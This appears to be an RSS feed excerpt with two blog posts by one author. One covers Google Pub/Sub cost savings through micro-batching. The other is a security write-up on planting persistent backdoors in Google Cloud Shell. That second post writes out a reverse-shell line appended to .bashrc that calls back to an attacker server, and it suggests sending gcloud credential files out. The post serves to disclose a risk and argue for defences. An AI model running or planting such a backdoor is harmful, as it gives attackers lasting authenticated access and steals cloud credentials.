            <title><![CDATA[Reducing your Google Pub/Sub costs over 95% by micro-batching with Google Cloud Storage]]></title>
            <link>https://89berner.medium.com/reducing-your-google-pub-sub-costs-over-95-by-micro-batching-with-google-cloud-storage-90e6e4f132d0?source=rss-58ed3269a003------2</link>
            <guid isPermaLink="false">https://medium.com/p/90e6e4f132d0</guid>
            <category><![CDATA[scalability]]></category>
            <category><![CDATA[google-pubsub]]></category>
            <category><![CDATA[streaming]]></category>
            <category><![CDATA[google-cloud-platform]]></category>
            <category><![CDATA[google-cloud-storage]]></category>
            <dc:creator><![CDATA[Juan Berner]]></dc:creator>
            <pubDate>Thu, 28 Mar 2019 12:05:07 GMT</pubDate>
            <atom:updated>2019-03-28T12:05:07.647Z</atom:updated>
            <content:encoded><![CDATA[<h3>Using streams to separate components logic</h3><p>Currently even the smallest applications can find themselves having to connect multiple components, either through API calls or queues. Many situations that require control flow or asynchronous communication might need streams or queues, and when working on GCP (Google Cloud Platform) you can take advantage of the managed service <a href="https://cloud.google.com/pubsub/docs/overview">Google Pub/Sub</a> as an event ingestion and delivery system.</p><p>To show a simple example, we could imagine the situation where we would want to index logs into <a href="https://www.elastic.co/">Elasticsearch</a>. We wouldn’t want to have the syslog servers (which would collect the logs) to also run the same logic which indexes the logs (we would need to deal then with local queues in the Syslog server if Elasticsearch was down or it’s performance impact among others). For this we will be using a different set of boxes which will run <a href="https://www.elastic.co/products/logstash">Logstash</a> (which would write the logs to Elasticsearch) and Google Pub/Sub will allow us to decouple the logic between those and the Syslog servers.</p><h4>In this case we would be considering the following load:</h4><ul><li>Amount of logs sent per second: 10000</li><li>Size of each log (after compression): 5kb</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*ckS6irDzPtY27Tt7b4-gcA.jpeg" /><figcaption>How the setup might look like to get the logs from syslog servers into Elasticsearch.</figcaption></figure><h3>How does this affect your budget?</h3><p>As with any cloud deployment, calculating the pricing cost becomes straightforward based on the information provided by the cloud vendor. In this case, since there is no cost associated for the network traffic, we would only need to calculate the cost of using Pub/Sub to send the messages.</p><p><em>You can find the Pub/Sub pricing </em><a href="https://cloud.google.com/pubsub/pricing"><em>here</em></a><em>. We will be using their new pricing model that starts on June to simplify the calculation that you can find </em><a href="https://cloud.google.com/pubsub/pricing#pricing-2019"><em>here</em></a><em>.</em></p><p>In this scenario we would have about 50MiB per second sent to Pub/Sub, which ends up being 4TiB per day or 120TiB per month. This means our Pub/Sub cost would sum up to around <strong>4800 dollars per month or 57600 per year</strong>. This cost would keep increasing linearly so if we were to send 10 times the amount of data, we would expect 10 times the cost increase.</p><h3>Micro batching in GCP</h3><p>While the previous example might be acceptable for medium to large companies, as the amount of data grows (either the size or amount of logs per second) the cost would grow with it. Now, if we started sending 100 thousand logs per second, we would expect the cost to grow also to half a million dollars per year. A way to dramatically reduce the cost would be to change the architecture from directly streaming the logs through Pub/Sub to working with micro batches by taking advantage of the lack of regional network transfer cost in Google Cloud Storage (GCS).</p><p>Micro batching changes the way we would work by no longer working on single logs but small batches of them. Syslog servers in this example would create files of 1000 logs and write them to GCS (about 5mb per file), while writing the GCS filenames into Pub/Sub. Logstash servers would now read from Pub/Sub new objects and request them from GCS to be processed. The added latency can vary depending on its implementation and underlying applications (in my experience adding from 2 to 5 extra seconds of delay).</p><p><a href="https://github.com/89berner/gcp-pubsub-micro-batching-post/blob/master/indexer.py">Here</a> you can find the code for an example container that runs python script which reads new filename entries from Pub/Sub, requesting the file contents from GCS and sending them to Logstash through local TCP socket.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*RyAhb5OygzVkb38_LWD9pw.jpeg" /><figcaption>How the setup would change if we were using micro batching. In this case there are extra calls to Google Cloud Storage to store objects and retrieve them after getting their location from Pub/Sub.</figcaption></figure><h3><strong>Reducing your cost with micro batching</strong></h3><p>In the micro batching architecture, we would need to consider the following costs:</p><h4>Pub/Sub</h4><p>In this architecture Pub/Sub would only be used to send and receive GCS filenames (with a randomised prefix to avoid hot spots), so we can estimate 10 filenames of up to 100 bytes per second, which would become around 2.5GiB per month and cost <strong>10 cents per month</strong>.</p><h4>Google Cloud Storage</h4><p>In this case we would be storing in GCS regional storage the batches and keeping them for up to one day. For this we need to consider the write operations which create the files, the read operations that retrieve it and the cost of storing the files for one day.</p><p><strong>Write operations to GCS<br></strong>This would be a <a href="https://cloud.google.com/storage/pricing#operations-pricing">class A operation</a> with a cost of 0.05 dollars every 10 thousand operations.<br>Write operations: 10 per second / 25920000 per month.<br>Cost of write operations per month: <strong>±130 dollars</strong></p><p><strong>Read operations to GCS<br></strong>This would be a <a href="https://cloud.google.com/storage/pricing#operations-pricing">class B operation</a> with a cost of 0.004 dollars every 10 thousand operations.<br>Read operations: 10 per second / 25920000 per month.<br>Cost of read operations per month: <strong>±11 dollars</strong></p><p><strong>Storage<br></strong>Pricing: $0.020 per GB per Month, for one day it should be 0.0006 cents<br>Amount to store: 120TiB<br>Storage cost per month: <strong>±74 dollars</strong></p><p>In this case the micro batching strategy would cost about <strong>215 dollars per month or 2580 per year</strong>. <strong>This would be mean more than a 95% monthly cost reduction against the streaming model described before by adding less than 5 seconds of extra latency.</strong> If the latency you are getting with this model could be increased even further, you could decrease the cost from using Pub/Sub ( decreasing the read and write operations to Google Cloud Storage) by increasing the batch size (which can also improve the compression of the logs and decrease the storage cost). The cost can also be reduced if you are willing to keep less than one day of data available at any time (reducing the GCS storage cost).</p><p>When scaling the solution we just need to take into account that if we go above 1000 write requests per second (so about 100x of the example in this article) you would need to look into the best practices from Google on scaling GCS found <a href="https://cloud.google.com/storage/docs/request-rate">here</a>. Also from the Logstash or Syslog perspective, there would be some additional processing but not enough to have a noticeable increment on the budget.</p><p><em>While this post focuses on Google Cloud’s Pub/Sub, the same strategy could be used with other cloud services such as SQS &amp; S3, or even in your local DC by placing less load on a Kafka Cluster and storing files in HDFS (with a much larger impact on latency than the other counterparts) for example.</em></p><h3>Conclusion</h3><p>When architecting solutions we should always strive for simplicity and to get the best performance possible, but the tradeoffs of complexity and performance impact should be balanced with their associated cost impact. If you happen to have a solution that requires a large amount of data to be streamed and can accept a couple of extra seconds of latency, micro batching can drastically reduce your required budget.</p><p><em>Let me know if you are doing something similar and your experience, or any comments on this approach!</em></p><p>Example code for micro batching with Pub/Sub, GCS and Logstash: <a href="https://github.com/89berner/gcp-pubsub-micro-batching-post/">https://github.com/89berner/gcp-pubsub-micro-batching-post/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=90e6e4f132d0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Persistant GCP backdoors with Google’s Cloud Shell]]></title>
            <link>https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec?source=rss-58ed3269a003------2</link>
            <guid isPermaLink="false">https://medium.com/p/2f75c83096ec</guid>
            <category><![CDATA[google-cloud-platform]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[gcp]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cloud-shell]]></category>
            <dc:creator><![CDATA[Juan Berner]]></dc:creator>
            <pubDate>Sat, 27 Oct 2018 10:55:47 GMT</pubDate>
            <atom:updated>2018-11-26T14:39:04.266Z</atom:updated>
            <content:encoded><![CDATA[<h3>Persistent GCP backdoors with Google’s Cloud Shell</h3><h3>Cloud Shell</h3><p><a href="https://cloud.google.com/shell/">Google Cloud Shell</a> provides you with command-line access to your cloud resources directly from your browser without any associated cost. This is a very neat feature which means that whoever is browsing Google’s cloud platform website (<a href="https://console.cloud.google.com/">https://console.cloud.google.com</a>) can immediately jump into performing commands using the <a href="https://cloud.google.com/sdk/gcloud/">gcloud</a> command.</p><p>There are two ways of accessing Cloud Shell:</p><ol><li>Through the authenticated webpage (<a href="https://console.cloud.google.com/">https://console.cloud.google.com</a>)</li><li>Through the gcloud command-line tool: gcloud alpha cloud-shell</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*z8-_5pSrRFXV3LGy" /><figcaption>How working with Cloud Shell looks like</figcaption></figure><h3>The good</h3><p>Cloud Shell is a very useful tool to transform the interaction between the command line gcloud utility and the web frontend seamlessly. At any point you can open a Cloud Shell view, where you will have a virtual machine at your disposal to perform any actions that you might need. This virtual machine persists while your Cloud Shell session is active and terminates after an hour of inactivity¹. Even if the session is terminated, your home directory will be maintained as long as you have activity in at least 120 days².</p><p>Also since Cloud Shell provides built-in authorization for access to projects and resources hosted on Google Cloud Platform³, that means that there is no need to perform any login operation to access any resource you might need.</p><p>According to Google:</p><blockquote>With Cloud Shell, the Cloud SDK gcloud command-line tool and other utilities you need are always available, up to date and fully authenticated when you need them.⁴</blockquote><p>This Cloud Shell instance is created behind the scenes whenever the user needs to access it, and deleted the same way after a period of activity. Yet this instance is not part of the compute resources of any project from the user or allowed the same kind of configurations.</p><p>To recap, we have established that:</p><ol><li>Any Google user with access to Google Cloud has access to a fully authenticated Cloud Shell instance.</li><li>Said instance will maintain its home directory for at least 120 days if no activity happens.</li><li>There is no capabilities for an organisation to monitor the activity of that instance.</li></ol><h3>The ugly</h3><p>There are other services in Google Cloud that would allow you to get a backdoor on a project. Creating a cloud function, container or virtual machine would serve similar capabilities, just as a rogue service account with extensive privileges. So you might be asking, why the focus on this one?</p><p>The key thing here is that an organisation is completely blind to this kind of abuse. System logs from Cloud Shell are not centralised, network logs can’t be collected (you can’t select in which subnet your Cloud Shell will be created), you can’t list its information or visualise which Cloud Shell virtual machines are running or any of the other normal security controls you would impose in other GCP resources. The fact that you have Cloud Shell available to your users means any of them have access to an unrestricted, unmonitored instance and there is nothing short of disabling the service that you can do about it.</p><h3><strong>Backdooring a Cloud Shell instance</strong></h3><p>A big limitation is that the user would need to add the backdoor themselves, which could happen through:</p><ul><li>A social engineering guidance to run a particular script;</li><li>An unlocked laptop with a Google account logged in to a Google project; or</li><li>Malware on an endpoint with access to the Google project.</li></ul><p>To add an example backdoor, I will modify the $HOME/.bashrc file so that every time someone logs in to their Cloud Shell it would execute:</p><blockquote><em>echo ‘(nohup /usr/bin/env -i /bin/bash 2&gt;/dev/null — norc — noprofile &gt;&amp; /dev/tcp/’$CCSERVER’/443 0&gt;&amp;1 &amp;)’ &gt;&gt; $HOME/.bashrc</em></blockquote><p>This will ensure that every time a user logs in to their Cloud Shell instance, no matter how many times it might be destroyed, there is a background callback to your server which will give you a fully authenticated shell on that instance even after logout. That means that as times passes on and the user might change their password or expire any kind of session tokens, any permissions the user might gain will be available to the attacker as long as they don’t notice the backdoor in their home profile (and who checks those really?).</p><p>The end result is that every time the user logs in, as long as your control server is listening, you will get a new shell to control fully authenticated as the victim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*H6BRCzm2HEfXfflS" /><figcaption>Instance receiving a callback from a backdoored Cloud Shell and using the Cloud Shell users permissions.</figcaption></figure><p>In practice you would probably want to make the backdoor upload the $HOME/.config/gcloud/ and $HOME/.gsutil/credstore2 back to your control server. The key part here is that even if those credentials are revoked, every time the infected user opens their Cloud Shell instance, a new version of those credentials would be available to the adversary.</p><p>In short, Cloud Shell is a tool that — in its current form — is best suited for personal use or organisations which are comfortable in delegating the control over the Cloud Shell environment to their individual users. Enterprises with stricter security policies might want to disable Cloud Shell for their organisation (which they can do by filing a support request), until better monitoring and auditing capabilities are available in the tool.</p><p>An option to increase its security is to harden the instance through a custom Cloud Shell environment⁵ and centralise its logs through an internet tunnel. However, this will still be under the control of the user, so there is no possibility of any remote checks on the security of the instance or visibility on its network activity. If the image is compromised and the security controls on it modified, there will not be any external controls that can be placed to detect it.</p><p>Until the moment when Cloud Shell is just another compute resource running on your project and subject to the same controls as you could provide with the rest of your resources, the risk it imposes on an organisation might outweigh its rewards.</p><p>[1] <a href="https://cloud.google.com/shell/docs/features#virtual_machine_instance">https://cloud.google.com/shell/docs/features#virtual_machine_instance</a><br>[2] <a href="https://cloud.google.com/shell/docs/limitations">https://cloud.google.com/shell/docs/limitations</a><br>[3] <a href="https://cloud.google.com/shell/docs/features#authorization">https://cloud.google.com/shell/docs/features#authorization</a><br>[4] <a href="https://cloud.google.com/shell/docs/features">https://cloud.google.com/shell/docs/features</a><br>[5] <a href="https://cloud.google.com/shell/docs/features#custom_cloud_shell_environment">https://cloud.google.com/shell/docs/features#custom_cloud_shell_environment</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2f75c83096ec" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>